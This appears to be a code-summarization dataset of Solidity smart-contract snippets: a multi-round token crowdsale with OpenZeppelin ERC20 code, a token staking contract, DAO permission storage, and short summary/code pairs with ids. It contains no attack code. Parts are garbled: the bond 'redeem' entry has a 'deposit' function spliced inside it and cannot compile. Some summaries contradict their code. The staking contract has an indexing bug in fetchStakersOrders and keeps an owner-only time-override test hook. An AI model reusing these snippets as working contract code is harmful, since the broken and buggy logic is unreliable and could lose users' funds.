uint256 tokenAmountBeforeDiscount = super._getTokenAmount(weiAmount);
uint256 tokenAmountForThisRound;
uint256 tokenAmountForNextRound;
uint256 tokenAmount;
for (uint256 round = _currentRound; round < ROUNDS; round = round.add(1)) {
(tokenAmountForThisRound, tokenAmountForNextRound) =
_dealWithBigTokenPurchase(tokenAmountBeforeDiscount, round);
tokenAmount = tokenAmount.add(tokenAmountForThisRound);
if (tokenAmountForNextRound == 0) {
break;
} else {
tokenAmountBeforeDiscount = tokenAmountForNextRound;
}
}
// After three rounds of calculation, there should be no more token to be
// purchased in the "next" round. Otherwise, it reaches the hardcap.
require(tokenAmountForNextRound == 0, "there is still tokens for the next round...");
return tokenAmount;
}
/**
* @dev Set up addresses for vaults. Should only be called once during.
* @param privateVault The vault address for private sale
* @param presaleVault The vault address for presale.
* @param reserveVault The vault address for reserve.
*/
function _setVaults(
IVault privateVault,
IVault presaleVault,
IVault reserveVault
)
internal
{
require(address(privateVault) != address(0), "Not valid address: privateVault");
require(address(presaleVault) != address(0), "Not valid address: presaleVault");
require(address(reserveVault) != address(0), "Not valid address: reserveVault");
privateVaultAddress = address(privateVault);
presaleVaultAddress = address(presaleVault);
reserveVaultAddress = address(reserveVault);
}
/**
* @dev When a big token purchase happens, it automatically jumps to the next round if
* the cap of the current round reaches.
* @param tokenAmount The amount of tokens that is converted from wei according to the
* updatable fiat rate. This amount has not yet taken the discount rate into account.
* @return The amount of token sold in this round
* @return The amount of token ready to be sold in the next round.
*/
function _dealWithBigTokenPurchase(uint256 tokenAmount, uint256 round)
private
view
stillInRounds
returns (uint256, uint256)
{
// Get the maximum "tokenAmount" that can be issued in the current around with the
// corresponding discount.
// maxAmount = (absolut cap of the current round - already issued) * discount
uint256 maxTokenAmountOfCurrentRound = (_capOfRound[round]
.sub(_mintedByCrowdsale))
.mul(_pricePercentagePerRound[round])
.div(PRICE_PERCENTAGE_BASE);
if (tokenAmount < maxTokenAmountOfCurrentRound) {
// this purchase will be settled entirely in the current round
return (tokenAmount.mul(PRICE_PERCENTAGE_BASE).div(_pricePercentagePerRound[round]), 0);
} else {
// need to consider cascading to the next round
uint256 tokenAmountOfNextRound = tokenAmount.sub(maxTokenAmountOfCurrentRound);
return (maxTokenAmountOfCurrentRound, tokenAmountOfNextRound);
}
}
/**
* @dev this function delivers token according to the information of the current round...
* @param beneficiary The address of the account that should receive tokens in reality
* @param tokenAmountToBeSent The amount of token sent to the destination addression.
* @param roundNumber Round number where tokens shall be purchased...
*/
function sendToCorrectAddress(
address beneficiary,
uint256 tokenAmountToBeSent,
uint256 roundNumber
)
private
vaultAddressesSet
{
if (roundNumber == 2) {
// then tokens could be minted directly to holder's account
// the amount shall be the
super._processPurchase(beneficiary, tokenAmountToBeSent);
} else if (roundNumber == 0) {
// tokens should be minted to the private sale vault...
super._processPurchase(privateVaultAddress, tokenAmountToBeSent);
// update the balance of the corresponding vault
IVault(privateVaultAddress).receiveFor(beneficiary, tokenAmountToBeSent);
} else {
// _currentRound == 1, tokens should be minted to the presale vault
super._processPurchase(presaleVaultAddress, tokenAmountToBeSent);
// update the balance of the corresponding vault
IVault(presaleVaultAddress).receiveFor(beneficiary, tokenAmountToBeSent);
}
}
/**
* @notice Eachtime, when a manager closes a round or a round_cap is reached, it needs
* to update the info of the _currentRound, _currentRoundCap, _hardCap and _capPerRound[];
* @param round currentRound number
* @dev This function should only be triggered when there is a need of updating all
* the params. The capPerRound shall be updated with the current mintedValue.
*/
function _updateRoundCaps(uint256 round) private {
if (round == 0) {
// update the releasing time of private sale vault
IVault(privateVaultAddress).updateReleaseTime(block.timestamp);
_currentRound = 1;
_currentRoundCap = _capOfRound[1];
} else if (round == 1) {
// update the releasing time of presale vault
IVault(presaleVaultAddress).updateReleaseTime(block.timestamp);
_currentRound = 2;
_currentRoundCap = _capOfRound[2];
} else {
// when _currentRound == 2
IVault(reserveVaultAddress).updateReleaseTime(block.timestamp);
// finalize the crowdsale
_currentRound = 3;
_currentRoundCap = _capOfRound[2];
}
emit RoundStarted(_currentRound, block.timestamp);
}
}
// File: contracts/crowdsale/PausableCrowdsale.sol
/**
* @title Crowdsale with check on pausible
* @dev Functionalities in this contract could also be pausable, besides managerOnly
* This contract is similar to OpenZeppelin's PausableCrowdsale, yet with different
* contract inherited
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract PausableCrowdsale is PausableManager, Crowdsale {
/**
* @notice Validation of an incoming purchase.
* @dev Use require statements to revert state when conditions are not met. Adding
* the validation that the crowdsale must not be paused.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
view
whenNotPaused
{
return super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/crowdsale/StartingTimedCrowdsale.sol
/**
* @title Crowdsale with a limited opening time
* @dev This contract is developed based on OpenZeppelin's TimedCrowdsale contract
* but removing the endTime. As the function `hasEnded()` is public accessible and
* necessary to return true when the crowdsale is ready to be finalized, yet no direct
* link exists between the time and the end, here we take OZ's originalCrowdsale contract
* and tweak according to the need.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract StartingTimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _startingTime;
/**
* @notice Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(isStarted(), "Not yet started");
_;
}
/**
* @notice Constructor, takes crowdsale opening and closing times.
* @param startingTime Crowdsale opening time
*/
constructor(uint256 startingTime) internal {
// solium-disable-next-line security/no-block-members
require(startingTime >= block.timestamp, "Starting time is in the past");
_startingTime = startingTime;
}
/**
* @return the crowdsale opening time.
*/
function startingTime() public view returns(uint256) {
return _startingTime;
}
/**
* @return true if the crowdsale is open, false otherwise.
*/
function isStarted() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp >= _startingTime;
}
/**
* @notice Extend parent behavior requiring to be within contributing period
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
view
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
// File: contracts/crowdsale/FinalizableCrowdsale.sol
/**
* @title Finalizable crowdsale
* @dev This contract is developed based on OpenZeppelin's FinalizableCrowdsale contract
* with a different inherited contract.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
/**
* @title FinalizableCrowdsale
* @notice Extension of Crowdsale with a one-off finalization action, where one
* can do extra work after finishing.
* @dev Slightly different from OZ;s contract, due to the inherited "TimedCrowdsale"
* contract
*/
contract FinalizableCrowdsale is StartingTimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized(address indexed account);
constructor () internal {
_finalized = false;
}
/**
* @return true if the crowdsale is finalized, false otherwise.
*/
function finalized() public view returns (bool) {
return _finalized;
}
/**
* @notice Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
* @dev The requirement of endingTimeis removed
*/
function finalize() public {
require(!_finalized, "already finalized");
_finalized = true;
emit CrowdsaleFinalized(msg.sender);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of `ERC20` that adds a set of accounts with the `MinterRole`,
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See `ERC20._mint`.
*
* Requirements:
*
* - the caller must have the `MinterRole`.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol
pragma solidity ^0.5.0;
/**
* @title MintedCrowdsale
* @dev Extension of Crowdsale contract whose tokens are minted in each purchase.
* Token ownership should be transferred to MintedCrowdsale for minting.
*/
contract MintedCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param beneficiary Token purchaser
* @param tokenAmount Number of tokens to be minted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
// Potentially dangerous assumption about the type of the token.
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount),
"MintedCrowdsale: minting failed"
);
}
}
// File: contracts/crowdsale/IvoCrowdsale.sol
/**
* @title INVAO Crowdsale
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract IvoCrowdsale is IIvoCrowdsale, CounterGuard, Reclaimable, MintedCrowdsale,
NonEthPurchasableCrowdsale, CappedMultiRoundCrowdsale, WhitelistCrowdsale,
PausableCrowdsale, FinalizableCrowdsale {
/*** PRE-DEPLOYMENT CONFIGURED CONSTANTS */
uint256 private constant ROUNDS = 3;
uint256 private constant KYC_AML_RATE_DEDUCTED = 965;
uint256 private constant KYC_AML_FEE_BASE = 1000;
bool private _setRole;
/**
* @param startingTime The starting time of the crowdsale
* @param rate Token per wei. This rate is going to be overriden, hence not important.
* @param initialFiatRate USD per ETH. (As the number on CoinMarketCap.com)
* Value written in cent.
* @param wallet The address of the team which receives investors ETH payment.
* @param token The address of the token.
*/
/* solhint-disable */
constructor(
uint256 startingTime,
uint256 rate,
uint256 initialFiatRate,
address payable wallet,
IERC20 token
)
public
Crowdsale(rate, wallet, token)
UpdatableRateCrowdsale(initialFiatRate)
CappedMultiRoundCrowdsale(startingTime)
StartingTimedCrowdsale(startingTime) {}
/* solhint-enable */
/**
* @notice Batch minting tokens for investors paid with non-ETH
* @param beneficiaries Recipients of the token purchase
* @param amounts Amounts of token purchased
*/
function nonEthPurchases(
address[] calldata beneficiaries,
uint256[] calldata amounts
)
external
onlyManager
{
uint256 length = amounts.length;
require(beneficiaries.length == length, "length !=");
require(length <= 256, "To long, please consider shorten the array");
for (uint256 i = 0; i < length; i++) {
super.nonEthPurchase(beneficiaries[i], amounts[i]);
}
}
/** OVERRIDE
* @notice Allows onlyManager to mint token for beneficiaries.
* @param beneficiary Recipient of the token purchase
* @param tokenAmount Amount of token purchased
*/
function nonEthPurchase(address beneficiary, uint256 tokenAmount)
public
onlyManager
{
super.nonEthPurchase(beneficiary, tokenAmount);
}
/**
* @notice Allows manager to manually close the round
*/
function closeCurrentRound() public onlyWhileOpen {
super.closeCurrentRound();
}
/**
* @notice setup roles and contract addresses for the crowdsale contract
* @dev This function can only be called once by the owner.
* @param newOwner The address of the new owner/manager.
* @param privateVault The address of private sale vault
* @param presaleVault The address of presale vault.
* @param reserveVault The address of reverve vault.
*/
function roleSetup(
address newOwner,
IVault privateVault,
IVault presaleVault,
IVault reserveVault
)
public
onlyOwner
onlyOnce(_setRole)
{
_setVaults(privateVault, presaleVault, reserveVault);
addManager(newOwner);
_removeManager(msg.sender);
transferOwnership(newOwner);
_setRole = true;
}
/** OVERRIDE
* @notice Specify the actions in the finalization of the crowdsale.
* Add the manager as a token minter and renounce itself the minter role
* role of the token contract.
*/
function finalize() public onlyManager {
require(this.currentRound() == ROUNDS, "Multi-rounds has not yet completed");
super.finalize();
PausableManager(address(token())).unpause();
ERC20Mintable(address(token())).addMinter(msg.sender);
ERC20Mintable(address(token())).renounceMinter();
}
/*** INTERNAL/PRIVATE ***/
/** OVERRIDE
* @notice Calculate the usable wei after taking out the KYC/AML fee, i.e. 96.5 %
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased after deducting the AML/KYC fee.
*/
function _getTokenAmount(uint256 weiAmount)
internal
view
returns (uint256)
{
uint256 availableWei = weiAmount.mul(KYC_AML_RATE_DEDUCTED).div(KYC_AML_FEE_BASE);
return super._getTokenAmount(availableWei);
}
}
|
Add an account to the list of managers, account The account address whose manager role needs to be removed./
|
function removeManager(address account) external onlyOwner {
_removeManager(account);
}
| 1,016,702
|
// SPDX-License-Identifier: MIT
pragma experimental ABIEncoderV2;
pragma solidity 0.8.10;
import "./GetPrice.sol";
import "../Digibytes/Digibytes.sol";
import "../DigitalGolems/DigitalGolems.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import "../Utils/SafeMath.sol";
contract StakingDBT is GetPrice {
using SafeMath for uint256;
struct Order {
uint256 orderID;
address staker;
uint256 deposit;
uint256 timeWhenEnded;
bool minted;
}
Order[] orders;
uint256 oneDIGPrice;
uint256 thisDBTBalance;
Digibytes public DBT;
DigitalGolems public DIG;
mapping (address => uint256) userOrderCount;
constructor () {
priceFeed = AggregatorV3Interface(0x1a602D4928faF0A153A520f58B332f9CAFF320f7);
oneDIGPrice = 5000;
}
function setDBT(address _DBT) public isOwner {
DBT = Digibytes(_DBT);
}
function setDIG(address _DIG) public isOwner {
DIG = DigitalGolems(_DIG);
}
function blockTokens() external {
//take latest price in usd of our token
//our price for one nft multiply by 10 to the power of token decimals
//then divide it on token price in USD
//so we will get price in our token
uint256 oneDIGPriceInDBT = (oneDIGPrice * 10 ** getDecimalsTest()) / uint256(getLatestPriceTest());
//price multiply by 10 to the power of token decimals
uint256 totalAmountInDBT = oneDIGPriceInDBT * 10 ** getDecimalsTest();
//counting comission
uint256 comission = totalAmountInDBT * 3 / 1000; //0,3%
//checking if user have amount for staking in dbt and commision
require(DBT.balanceOf(msg.sender) >= totalAmountInDBT + comission, "Not enough DBT");
//check if we can use this money
require(DBT.allowance(msg.sender, address(this)) >= totalAmountInDBT + comission, "Not enough allowance DBT");
//transfer to this address
DBT.transferFrom(msg.sender, address(this), totalAmountInDBT + comission);
//creating order for staking
orders.push(
Order(
orders.length, //orderID
msg.sender, //staker
totalAmountInDBT, //DBT amount
block.timestamp + 30 days, //Time when can mint
false //Minted
)
);
//+1 order to user
userOrderCount[msg.sender] = userOrderCount[msg.sender].add(1);
//take comission to this address
thisDBTBalance = thisDBTBalance.add(comission);
}
//fetching stakers orders
function fetchStakersOrders(address staker) public view returns(Order[] memory) {
//array with length of user's orders
Order[] memory userOrders = new Order[](userOrderCount[staker]);
for (uint256 i = 0; i < orders.length; i++) {
//if staker of order is who we ask, take this order
if (orders[i].staker == staker) {
userOrders[i] = orders[i];
}
}
return userOrders;
}
//withdraw DBT before mint
//we take fine in 20% of order deposit
function aheadOfTime(uint256 orderID) public {
//only staker of this order
require(orders[orderID].staker == msg.sender, "You not staker");
//if time already ended he cant withdraw with fine
//it's from unnecessary calls
require(block.timestamp < orders[orderID].timeWhenEnded, "Time already ended");
//users order -1
userOrderCount[msg.sender] = userOrderCount[msg.sender].sub(1);
//take fine 20%
uint256 minus20Percent = orders[orderID].deposit - (orders[orderID].deposit * 20 / 100);
//add to this balance
thisDBTBalance = thisDBTBalance.add(orders[orderID].deposit * 20 / 100);
//order equal 0
orders[orderID].staker = address(0);
orders[orderID].deposit = 0;
orders[orderID].timeWhenEnded = 0;
orders[orderID].minted = false;
//transfer 80% DBT to staker
DBT.transfer(msg.sender, minus20Percent);
}
function farmDIG(
uint256 orderID,
string memory tokenURI,
uint8 v,
bytes32 r,
bytes32 s
) external isTimeToFarmEnded(orderID) {
require(msg.sender == orders[orderID].staker, "You not staker");
DIG.awardItem(msg.sender, tokenURI, v, r, s);
DBT.transfer(msg.sender, orders[orderID].deposit);
orders[orderID].deposit = 0;
orders[orderID].timeWhenEnded = 0;
orders[orderID].minted = true;
}
function mockFarmTime(uint256 orderID, uint256 _newTime) public isOwner {
orders[orderID].timeWhenEnded = _newTime;
}
modifier isTimeToFarmEnded(uint256 _orderID) {
require(block.timestamp > orders[_orderID].timeWhenEnded, "Its still farming");
_;
}
function withdrawDBT() public isOwner {
DBT.transfer(msg.sender, thisDBTBalance);
}
function getDBTBalance() public view isOwner returns(uint256) {
return thisDBTBalance;
}
}
|
fetching stakers ordersarray with length of user's ordersif staker of order is who we ask, take this order
|
function fetchStakersOrders(address staker) public view returns(Order[] memory) {
Order[] memory userOrders = new Order[](userOrderCount[staker]);
for (uint256 i = 0; i < orders.length; i++) {
if (orders[i].staker == staker) {
userOrders[i] = orders[i];
}
}
return userOrders;
}
| 12,996,759
|
./full_match/43114/0x102ed146570480Df95BC54136ea9b6781a1aa4C2/sources/CypherBondDep.sol
|
indexed events are emitted redeem bond for user _recipient address _stake bool return uint/ (seconds since last interaction / vesting term remaining) calculate payout vested store updated deposit info
|
function redeem( address _recipient, bool _stake ) external returns ( uint ) {
require(msg.sender == _recipient, "NA");
Bond memory info = bondInfo[ _recipient ];
uint percentVested = percentVestedFor( _recipient );
uint payout = info.payout.mul( percentVested ) / 10000 ;
function deposit(
uint _amount,
uint _maxPrice,
address _depositor
}
require(balanceBefore.add(profit) == CYPHER.balanceOf(address(this)), "Not enough Time to cover profit");
totalDebt = totalDebt.add( value );
});
emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD );
emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() );
return payout;
}
bondInfo[ _recipient ] = Bond({
payout: info.payout.sub( payout ),
vesting: info.vesting.sub32( uint32( block.timestamp ).sub32( info.lastTime ) ),
lastTime: uint32(block.timestamp),
pricePaid: info.pricePaid
});
emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout );
return stakeOrSend( _recipient, _stake, payout );
}
| 4,558,286
|
./partial_match/1/0x000000931CF36C464623Bb0EefB6B0C205338d67/sources/TimeLockedController.sol
|
Create _amount new tokens and transfer them to _to.Based on code by OpenZeppelin: https:github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/MintableToken.sol
|
function mint(address _to, uint256 _amount) onlyOwner public {
require(canReceiveMintWhiteList.onList(_to));
totalSupply_ = totalSupply_.add(_amount);
balances.addBalance(_to, _amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
payStakingFee(_to, _amount, mintFeeNumerator, mintFeeDenominator, mintFeeFlat, 0x0);
}
| 2,782,093
|
./full_match/1/0xC8aE7e42e834bc11c906d01726e55571a0620158/sources/lib/solady/src/utils/FixedPointMathLib.sol
|
Returns the averege of `x` and `y`.
|
function avg(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(and(x, y), shr(1, xor(x, y)))
}
}
| 5,010,316
|
./partial_match/1/0x2c8652acBAba3d398952BD291b0baF29ba6f0ae8/sources/TubeChief.sol
|
retrieve the mintable amount for development or lottery
|
function getExMintable(uint poolId, bool is_dev) public view returns (uint) {
uint last_block = 0;
uint rate = 0;
if (is_dev) {
last_block = pools[poolId].lastDevBlockNo;
rate = DEV;
last_block = pools[poolId].lastLotBlockNo;
rate = LOTTERY;
}
uint block_diff = block.number.sub(last_block);
block_diff = block_diff * 10**DECIMAL;
return block_diff.mul(pools[poolId].rewardPerBlock, DECIMAL).mul(pools[poolId].multiplier, DECIMAL).mul(rate, DECIMAL);
}
| 2,688,753
|
pragma solidity ^0.4.15;
import "./IDaoBase.sol";
import "./token/StdDaoToken.sol";
import "./governance/Voting.sol";
import "./tasks/Tasks.sol";
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
//////////////////////////////////////////////////////////
// Permissions:
//
// addNewProposal
// manageGroups
// issueTokens
// upgradeDao
//
// Tasks:
// startTask
// startBounty
// addNewTask
//
// Moneyflow:
// modifyMoneyscheme
// withdrawDonations
//
// How permissions works now:
// 1. if caller is in the whitelist -> allow
// 2. if caller is employee and this action can be done by employee -> allow
// 3. if caller shareholder and this action can be done by shareholder -> allow
// 4. if this action requires voting
// a. caller is in the majority -> allow
// b. caller is voting and it is succeeded -> allow
// 4. deny
contract DaoStorage is Ownable {
StdDaoToken public stdToken;
mapping (uint=>IProposal) proposals;
uint public proposalsCount = 0;
mapping (uint=>address) employees;
uint public employeesCount = 0;
address[] public observers;
mapping (string=>bool) byEmployee;
mapping (string=>bool) byShareholder;
mapping (string=>bool) byVoting;
mapping (address=>mapping(string=>bool)) byAddress;
// name -> members
mapping (string=>address[]) groups;
// name -> permission -> flag
mapping (string=>mapping(string=>bool)) groupPermissions;
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
function DaoStorage(StdDaoToken _stdToken) public {
stdToken = _stdToken;
}
function addObserver(IDaoObserver _observer) public {
observers.push(_observer);
}
function getObserverCount() constant returns(uint){
return observers.length;
}
function getObserverAtIndex(uint _index) constant returns(address){
return observers[_index];
}
// Permissions:
function addGroup(string _groupName) public onlyOwner{
// do nothing
}
function addGroupMember(string _groupName, address _newMember) public onlyOwner{
// TODO: check if already added
groups[_groupName].push(_newMember);
}
function removeGroupMember(string _groupName, address _member)public onlyOwner {
// TODO:
}
function isGroupMember(string _groupName, address _a) public constant returns(bool){
for(uint i=0; i<groups[_groupName].length; ++i){
if(groups[_groupName][i]==_a){
return true;
}
}
return false;
}
function allowActionByAnyMemberOfGroup(string _what, string _groupName) public onlyOwner {
groupPermissions[_groupName][_what] = true;
}
function isCanDoByGroupMember(string _what, string _groupName) public constant returns(bool){
return groupPermissions[_groupName][_what];
}
//////
// TODO: use _tokenAddress
function allowActionByShareholder(string _what, address _tokenAddress) public onlyOwner {
byShareholder[_what] = true;
}
// TODO: use _tokenAddress
function allowActionByVoting(string _what, address _tokenAddress) public onlyOwner {
byVoting[_what] = true;
}
function allowActionByAddress(string _what, address _a) public onlyOwner {
byAddress[_a][_what] = true;
}
function isCanDoByShareholder(string _permissionName) public constant returns(bool){
// TODO: use _tokenAddress
// see <addActionBySha> method
return byShareholder[_permissionName];
}
function isCanDoByVoting(string _permissionName) public constant returns(bool,address){
// TODO: return _tokenAddress instead of 0x0!!!
// see <allowActionByVoting> method
return (byVoting[_permissionName], 0x0);
}
function isCanDoByAddress(string _permissionName, address _a) public constant returns(bool){
return byAddress[_a][_permissionName];
}
// Vote:
function addNewProposal(IProposal _proposal) public onlyOwner {
proposals[proposalsCount] = _proposal;
proposalsCount++;
}
function getProposalAtIndex(uint _i)public constant returns(IProposal){
require(_i<proposalsCount);
return proposals[_i];
}
function getProposalVotingResults(address _p) public constant returns (bool isVotingFound, bool votingResult){
// scan all votings and search for the one that is finished
for(uint i=0; i<proposalsCount; ++i){
if(proposals[i]==_p){
IVoting voting = proposals[i].getVoting();
return (true, voting.isFinished() && voting.isYes());
}
}
return (false,false);
}
function isShareholder(address _a, address _token) public constant returns(bool){
return (ERC20(_token).balanceOf(_a)!=0);
}
}
contract DaoBase is IDaoBase, Ownable {
DaoStorage public store;
//////////////////////
// Constructor
function DaoBase(DaoStorage _store) public {
// the ownership should be transferred to microcompany
store = _store;
}
modifier isCanDo(string _what){
require(isCanDoAction(msg.sender,_what));
_;
}
// IDaoBase:
function addObserver(IDaoObserver _observer) public {
store.addObserver(_observer);
}
function addGroup(string _groupName) public isCanDo("manageGroups"){
store.addGroup(_groupName);
}
function addGroupMember(string _groupName, address _a) public isCanDo("manageGroups") {
store.addGroupMember(_groupName, _a);
}
function removeGroupMember(string _groupName, address _a) public isCanDo("manageGroups"){
store.removeGroupMember(_groupName, _a);
}
function isGroupMember(string _groupName,address _a)public constant returns(bool) {
return store.isGroupMember(_groupName, _a);
}
function allowActionByShareholder(string _what, address _tokenAddress) public isCanDo("manageGroups"){
store.allowActionByShareholder(_what, _tokenAddress);
}
function allowActionByVoting(string _what, address _tokenAddress) public isCanDo("manageGroups"){
store.allowActionByVoting(_what,_tokenAddress);
}
function allowActionByAddress(string _what, address _a) public isCanDo("manageGroups"){
store.allowActionByAddress(_what,_a);
}
function isCanDoAction(address _a, string _permissionName) public constant returns(bool){
